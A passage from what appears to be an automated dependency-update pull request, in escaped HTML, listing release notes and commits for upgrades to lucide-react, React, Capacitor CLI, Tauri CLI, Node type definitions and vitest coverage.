\u003ccode\u003egraph-hub\u003c/code\u003e icon by \u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(svelte): export __iconData and __iconNode across per-icon modules (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4936\"\u003e#4936\u003c/a\u003e) by \u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.59.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): Adds search field to docs pages by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5012\"\u003elucide-icons/lucide#5012\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003echess-queen\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4613\"\u003elucide-icons/lucide#4613\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.58.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): add third-party package lucide-jte by \u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(integration-tests): Add Svelte integration tests for \u003ccode\u003e@ucide/svelte\u003c/code\u003e by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5005\"\u003elucide-icons/lucide#5005\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the angular-deps group across 1 directory with 10 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5004\"\u003elucide-icons/lucide#5004\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/fa238cf2787d64393b74121631b518cee0c909c2\"\u003e\u003ccode\u003efa238cf\u003c/code\u003e\u003c/a\u003e chore(deps): bump the react-deps group across 1 directory with 2 updates (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/5026\"\u003e#5026\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/3f1255ecfa1b5b3a231e4aeb027781761204e187\"\u003e\u003ccode\u003e3f1255e\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​vitejs/plugin-react\u003c/code\u003e (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4995\"\u003e#4995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/949bc6d61f5964a98f99f4eb9b5bc291949ca18f\"\u003e\u003ccode\u003e949bc6d\u003c/code\u003e\u003c/a\u003e test(lucide-react): add tests for DynamicIcon fallback and ref forwarding (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4\"\u003e#4\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/98331e287029edeff0e04f269439884d060af703\"\u003e\u003ccode\u003e98331e2\u003c/code\u003e\u003c/a\u003e chore(deps): bump the react-deps group across 1 directory with 3 updates (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4951\"\u003e#4951\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/09aa9c5c62c3b4b519fbb8c9ce1c396cc12f4dae\"\u003e\u003ccode\u003e09aa9c5\u003c/code\u003e\u003c/a\u003e chore(deps): Upgrade to vite 8 (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4950\"\u003e#4950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.61.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@capacitor/cli` from 8.5.2 to 8.5.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/releases\"\u003e@​capacitor/cli's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/blob/main/CHANGELOG.md\"\u003e@​capacitor/cli's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/06e3e1984337f836a4c28b2afc92faa977dea315\"\u003e\u003ccode\u003e06e3e19\u003c/code\u003e\u003c/a\u003e Release 8.5.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/ba285693bf2afd76b350bf79a32afc7db5e67b37\"\u003e\u003ccode\u003eba28569\u003c/code\u003e\u003c/a\u003e chore: add .build/ folder to gitignore (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8640\"\u003e#8640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e\u003ccode\u003e145560e\u003c/code\u003e\u003c/a\u003e fix(cli): change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tauri-apps/cli` from 2.12.3 to 2.12.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tauri-apps/tauri/releases\"\u003e@​tauri-apps/cli's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tauri-apps/cli\u003c/code\u003e v2.12.4\u003c/h2\u003e\n\u003ch2\u003e[2.12.4]\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.github.com/tauri-apps/tauri/commit/136a28eaa879e8aa706f9b2e05a050c46dcc1f4f\"\u003e\u003ccode\u003e136a28eaa\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/pull/16305\"\u003e#16305\u003c/a\u003e by \u003ca href=\"https://www.github.com/tauri-apps/tauri/../../Chaosnico9000\"\u003e\u003ccode\u003e@​Chaosnico9000\u003c/code\u003e\u003c/a\u003e) Skip the \u003ccode\u003e--target\u003c/code\u003e validation when \u003ccode\u003erustup target list\u003c/code\u003e fails, e.g. when \u003ccode\u003erustup\u003c/code\u003e is on \u003ccode\u003ePATH\u003c/code\u003e but has no toolchain installed, instead of rejecting every target as missing.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.github.com/tauri-apps/tauri/commit/52081e04a0309620d3eb8121e5ca9b66312f9857\"\u003e\u003ccode\u003e52081e04a\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/pull/16333\"\u003e#16333\u003c/a\u003e by \u003ca href=\"https://www.github.com/tauri-apps/tauri/../../amrbashir\"\u003e\u003ccode\u003e@​amrbashir\u003c/code\u003e\u003c/a\u003e) Rename the misspelled \u003ccode\u003echoowHowToInstall\u003c/code\u003e NSIS language string to \u003ccode\u003echooseHowToInstall\u003c/code\u003e. A custom language file in \u003ccode\u003ebundle.windows.nsis.customLanguageFiles\u003c/code\u003e that only defines the old name keeps working for now, but users should migrate to the new name.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgraded to \u003ccode\u003etauri-cli@2.12.4\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.github.com/tauri-apps/tauri/commit/4a6f512519286ff9862b2e86c67ef39f4562aee5\"\u003e\u003ccode\u003e4a6f51251\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/pull/16317\"\u003e#16317\u003c/a\u003e by \u003ca href=\"https://www.github.com/tauri-apps/tauri/../../lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e) Updated \u003ccode\u003ezip\u003c/code\u003e to v9 to fix RUSTSEC-2026-0367, RUSTSEC-2026-0368 and RUSTSEC-2026-0369.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/993038c49185307dfc895ab7657d77ca0d5ed7c7\"\u003e\u003ccode\u003e993038c\u003c/code\u003e\u003c/a\u003e apply version updates (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16303\"\u003e#16303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/0007a43ae74551655357aced98a000965b759ff3\"\u003e\u003ccode\u003e0007a43\u003c/code\u003e\u003c/a\u003e fix(macos-sign) Also list \u003ccode\u003eiPhone Distribution/Developer\u003c/code\u003e certs (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/14838\"\u003e#14838\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/97ccd82352baf4b66411afa374165a68cfba988a\"\u003e\u003ccode\u003e97ccd82\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate zip to v9.0.5 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16346\"\u003e#16346\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/5b50edd992420dabff167309f96b2dd20385a9d7\"\u003e\u003ccode\u003e5b50edd\u003c/code\u003e\u003c/a\u003e fix(api): type check dev tooling configs (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16353\"\u003e#16353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/cf40b7337a9657ead88be3b4caed4539d8aabae8\"\u003e\u003ccode\u003ecf40b73\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate ico to 0.6 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16348\"\u003e#16348\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/d440abf550b922832f2e20d465808bdf9b5c702a\"\u003e\u003ccode\u003ed440abf\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate shared_child to v1.1.2 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16308\"\u003e#16308\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/4c5593cf22e7d37cc2937edfbf69cc34be2c1111\"\u003e\u003ccode\u003e4c5593c\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate tower to v0.5.3 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16309\"\u003e#16309\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/a376abd497325479e3ced3ae0b1dfaecf5d42fb5\"\u003e\u003ccode\u003ea376abd\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate serde_json to v1.0.154 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16307\"\u003e#16307\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/68e60c1304c69664f861772faf25a7376ad4a42e\"\u003e\u003ccode\u003e68e60c1\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency vitest to v5.0.5 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16339\"\u003e#16339\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/9318ab84b8412d80fc5c515f931e9419b26f3729\"\u003e\u003ccode\u003e9318ab8\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate which to v8.0.6 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16310\"\u003e#16310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/tauri-apps/tauri/compare/@tauri-apps/cli-v2.12.3...@tauri-apps/cli-v2.12.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 26.6.3 to 26.6.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 5.0.3 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca 